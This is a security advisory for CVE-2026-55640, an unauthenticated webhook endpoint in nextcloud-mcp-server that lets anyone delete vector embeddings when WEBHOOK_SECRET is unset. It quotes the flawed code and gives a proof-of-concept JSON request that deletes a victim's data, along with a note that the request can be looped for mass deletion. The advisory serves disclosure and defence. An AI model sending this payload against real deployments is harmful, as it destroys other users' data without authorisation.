criticalCVSS 9.1Vulnerability

CVE-2026-55640

## Summary The `POST /webhooks/nextcloud` endpoint has no authentication by default: `WEBHOOK_SECRET` defaults to `None` and is never required by startup validation. When unset, the receiver accepts any unauthenticated POST. The `user_id` is taken directly from the attacker-supplied payload and passed to Qdrant, allowing an unauthenticated attacker to delete or corrupt vector embeddings for any user. ## Details **Vulnerable file:** `nextcloud_mcp_server/vector/webhook_receiver.py`, function `handle_nextcloud_webhook()`, **lines 55-67** **Root cause 1**: Auth check is guarded by `if secret`: - skipped entirely when `WEBHOOK_SECRET` is unset. **Root cause 2**: `webhook_secret: str | None = None` in config - no startup validator enforces it, even when vector sync is enabled. **Trusted field**: `payload["user"]["uid"]` in `webhook_parser.py` is used as-is for all Qdrant operations - no cross-check against an authenticated session. `webhook_receiver.py`, **lines 55-67**: ```python secret = get_settings().webhook_secret # None by default if secret: # skipped entirely when unset ... validate Bearer header ... else: _warn_missing_secret_once() # just logs, still processes ``` `webhook_parser.py`, **line 57**: ```python user_id = payload["user"]["uid"] # attacker-controlled ``` ## PoC **No credentials required**. Works on any deployment where `WEBHOOK_SECRET` is not explicitly set (the default). ```json POST /webhooks/nextcloud Content-Type: application/json { "event": { "class": "OCP\\Files\\Events\\Node\\BeforeNodeDeletedEvent", "node": { "path": "/victim/files/Notes/any.md", "id": 12345 } }, "user": { "uid": "victim" }, "time": 0 } ``` **Result:** **Qdrant** deletes all vector embeddings for `victim` doc `12345` with **no authentication**. Attacker can loop over doc IDs for mass deletion. All user targets accepted. ## Impact + Anyone on the network with access to port `8000` - no credentials needed. + Att

Properties

ghsa_id
GHSA-8vh3-g2qg-2h2c
severity
critical
summary
nextcloud-mcp-server: Unauthenticated `POST /webhooks/nextcloud` allows arbitrary vector data deletion when `WEBHOOK_SECRET` is unset ( default )
cvss_score
9.1
cve_id
CVE-2026-55640
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
is_ghsa_only
false
ghsa_published
2026-08-25T16:04:15Z
source_url
https://github.com/advisories/GHSA-8vh3-g2qg-2h2c
ghsa_updated
2026-08-25T16:04:17Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]pip/nextcloud-mcp-server

AFFECTS (1)

[Software]pip/nextcloud-mcp-server

HAS_WEAKNESS (1)

[Weakness]Missing Authentication for Critical Function

REPORTED_BY (1)

[Source]GitHub Advisory Database

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